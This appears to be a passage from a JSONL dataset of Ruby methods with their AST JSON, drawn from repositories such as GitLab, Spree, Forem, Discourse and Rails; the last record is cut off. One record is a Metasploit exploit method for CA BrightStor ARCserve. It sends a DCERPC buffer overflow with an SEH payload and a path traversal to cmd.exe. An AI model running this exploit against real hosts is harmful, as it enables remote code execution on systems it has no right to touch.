been imported\"\n next unless expected_item\n\n # Print difference in the description\n #\n expected_body = expected_item[:body]\n actual_body = actual_item[:body]\n body_msg = \"#{msg} same description\"\n expect(expected_body).to eq(actual_body), body_msg\n\n # Print amount difference first\n #\n expected_comments = expected_item[:comments]\n actual_comments = actual_item[:comments]\n comment_count_msg = <<~MSG.strip\n #{msg} same comments. GitHub: #{expected_comments.length}, GitLab: #{actual_comments.length}\n MSG\n expect(actual_comments).to include(*expected_comments), comment_count_msg\n\n expected_events = expected_item[:events]\n actual_events = actual_item[:events]\n event_count_msg = <<~MSG.strip\n #{msg} same events. GitHub: #{expected_events.length}, GitLab: #{actual_events.length}.\n Missing event: #{expected_events - actual_events}\n MSG\n expect(actual_events).to include(*expected_events), event_count_msg\n\n # Save comment and event diff\n #\n missing_comments = expected_comments - actual_comments\n extra_comments = actual_comments - expected_comments\n missing_events = expected_events - actual_events\n extra_events = actual_events - expected_events\n next if [missing_comments, missing_events, extra_comments, extra_events].all?(&:empty?)\n\n content_diff << {\n title: title,\n github_url: expected_item[:url],\n gitlab_url: actual_item[:url],\n missing_comments: missing_comments,\n extra_comments: extra_comments,\n missing_events: missing_events,\n extra_events: extra_events\n }.compact_blank\n end\n end","complexity_score":77.9,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_comments_and_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"actual\"]},{\"type\":\"arg\",\"children\":[\"expected\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"actual_item\"]}]},{\"type\":\"arg\",\"children\":[\"content_diff\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_item\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\" with iid '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"' to have\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"expected_item\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_truthy\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"str\",\"children\":[\" been imported\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_item\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual_body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body_msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"str\",\"children\":[\" same description\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"expected_body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"actual_body\"]}]},{\"type\":\"lvar\",\"children\":[\"body_msg\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_comments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"comments\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual_comments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"comments\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comment_count_msg\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"str\",\"children\":[\" same comments. GitHub: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_comments\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\", GitLab: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_comments\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"strip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"actual_comments\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_comments\"]}]}]},{\"type\":\"lvar\",\"children\":[\"comment_count_msg\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_events\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"events\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual_events\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"events\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"event_count_msg\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"str\",\"children\":[\" same events. GitHub: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_events\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\", GitLab: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_events\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]},{\"type\":\"str\",\"children\":[\"Missing event: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_events\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"actual_events\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"strip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"actual_events\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_events\"]}]}]},{\"type\":\"lvar\",\"children\":[\"event_count_msg\"]}]},{\"type\":\"lvasgn\",\"children\":[\"missing_comments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_comments\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"actual_comments\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"extra_comments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_comments\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"expected_comments\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"missing_events\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_events\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"actual_events\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"extra_events\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_events\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"expected_events\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_comments\"]},{\"type\":\"lvar\",\"children\":[\"missing_events\"]},{\"type\":\"lvar\",\"children\":[\"extra_comments\"]},{\"type\":\"lvar\",\"children\":[\"extra_events\"]}]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty?\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_diff\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"github_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"missing_comments\"]},{\"type\":\"lvar\",\"children\":[\"missing_comments\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_comments\"]},{\"type\":\"lvar\",\"children\":[\"extra_comments\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"missing_events\"]},{\"type\":\"lvar\",\"children\":[\"missing_events\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_events\"]},{\"type\":\"lvar\",\"children\":[\"extra_events\"]}]}]},\"compact_blank\"]}]}]}]}]}","id":"e008ad93-ccf5-4a2f-ac24-fea0765d536d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/brightstor/ca_arcserve_342.rb","start_line":69,"raw_source":"def exploit\n path = fingerprint()\n\n if (path['os'] !~ /Windows/)\n print_error(\"Target not supported!\")\n return\n elsif (path['os'] =~ /Windows 2000/)\n dir = \"winnt\"\n offset = 442\n else\n dir = \"windows\"\n offset = 436\n end\n\n print_status(\"Identified OS '#{path['os']}', setting appropiate system path...\")\n\n datastore['RPORT'] = 6504\n\n connect()\n\n handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])\n print_status(\"Binding to #{handle} ...\")\n\n dcerpc_bind(handle)\n print_status(\"Bound to #{handle} ...\")\n\n buffer = rand_text_alpha_upper(offset) + generate_seh_payload(target.ret)\n\n sploit = NDR.string(\"#{datastore['HNAME'].upcase}\")\n sploit << NDR.string(\"..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\#{dir}\\\\system32\\\\cmd /c \\\"\"\"\\\"\"\"\")\n sploit << NDR.string(buffer)\n sploit << NDR.string(rand_text_alpha_upper(20))\n sploit << NDR.long(2)\n sploit << NDR.long(2)\n sploit << NDR.string(rand_text_alpha_upper(20))\n sploit << NDR.long(0)\n sploit << NDR.long(4)\n\n print_status(\"Trying target #{target.name}...\")\n\n begin\n dcerpc_call(342, sploit)\n rescue Rex::Proto::DCERPC::Exceptions::NoResponse\n end\n\n handler\n disconnect\n end","complexity_score":70.18,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"fingerprint\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"str\",\"children\":[\"os\"]}]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Target not supported!\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"str\",\"children\":[\"os\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dir\",{\"type\":\"str\",\"children\":[\"winnt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[442]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dir\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[436]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Identified OS '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"str\",\"children\":[\"os\"]}]}]},{\"type\":\"str\",\"children\":[\"', setting appropiate system path...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[6504]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"handle\",{\"type\":\"send\",\"children\":[null,\"dcerpc_handle\",{\"type\":\"str\",\"children\":[\"506b1890-14c8-11d1-bbc3-00805fa6962e\"]},{\"type\":\"str\",\"children\":[\"1.0\"]},{\"type\":\"str\",\"children\":[\"ncacn_ip_tcp\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Binding to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"dcerpc_bind\",{\"type\":\"lvar\",\"children\":[\"handle\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bound to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_seh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HNAME\"]}]},\"upcase\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\system32\\\\cmd /c \\\"\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"string\",{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"string\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[20]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"string\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[20]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dcerpc_call\",{\"type\":\"int\",\"children\":[342]},{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"DCERPC\"]},\"Exceptions\"]},\"NoResponse\"]}]},null,null]},null]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"95138d37-8473-421c-bd70-3db3e7591cdc"} {"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/taxonomies_controller.rb","start_line":11,"raw_source":"def collection\n return @collection if @collection.present?\n\n @collection = super\n\n params[:q] ||= {}\n @search = @collection.ransack(params[:q])\n @collection = @search.result.all\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"collection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@collection\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@search\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"ransack\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@collection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@search\"]},\"result\"]},\"all\"]}]}]}]}","id":"e0443a1b-357b-4f80-b34a-21423c69b712"} {"repo_name":"forem","file_path":"./repos/forem/spec/decorators/article_decorator_spec.rb","start_line":4,"raw_source":"def create_article(*args)\n article = create(:article, *args)\n article.decorate\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_article\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"article\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"article\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"decorate\"]}]}]}","id":"1192bdb8-9cc5-4b4d-bfea-ddf1edfccf85"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140425125742_add_custom_fields.rb","start_line":4,"raw_source":"def change\n create_table :category_custom_fields do |t|\n t.integer :category_id, null: false\n t.string :name, limit: 256, null: false\n t.text :value\n t.timestamps null: false\n end\n\n create_table :group_custom_fields do |t|\n t.integer :group_id, null: false\n t.string :name, limit: 256, null: false\n t.text :value\n t.timestamps null: false\n end\n\n create_table :post_custom_fields do |t|\n t.integer :post_id, null: false\n t.string :name, limit: 256, null: false\n t.text :value\n t.timestamps null: false\n end\n\n add_index :category_custom_fields, %i[category_id name]\n add_index :group_custom_fields, %i[group_id name]\n add_index :post_custom_fields, %i[post_id name]\n end","complexity_score":24.45,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"category_custom_fields\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[256]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"group_custom_fields\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[256]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"post_custom_fields\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[256]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"category_custom_fields\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"group_custom_fields\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"post_custom_fields\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}","id":"e1f70f91-da1e-44eb-819a-dcfff2fdd119"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/ordered_options_test.rb","start_line":102,"raw_source":"def test_introspection\n a = ActiveSupport::OrderedOptions.new\n assert_respond_to a, :blah\n assert_respond_to a, :blah=\n assert_equal 42, a.method(:blah=).call(42)\n assert_equal 42, a.method(:blah).call\n 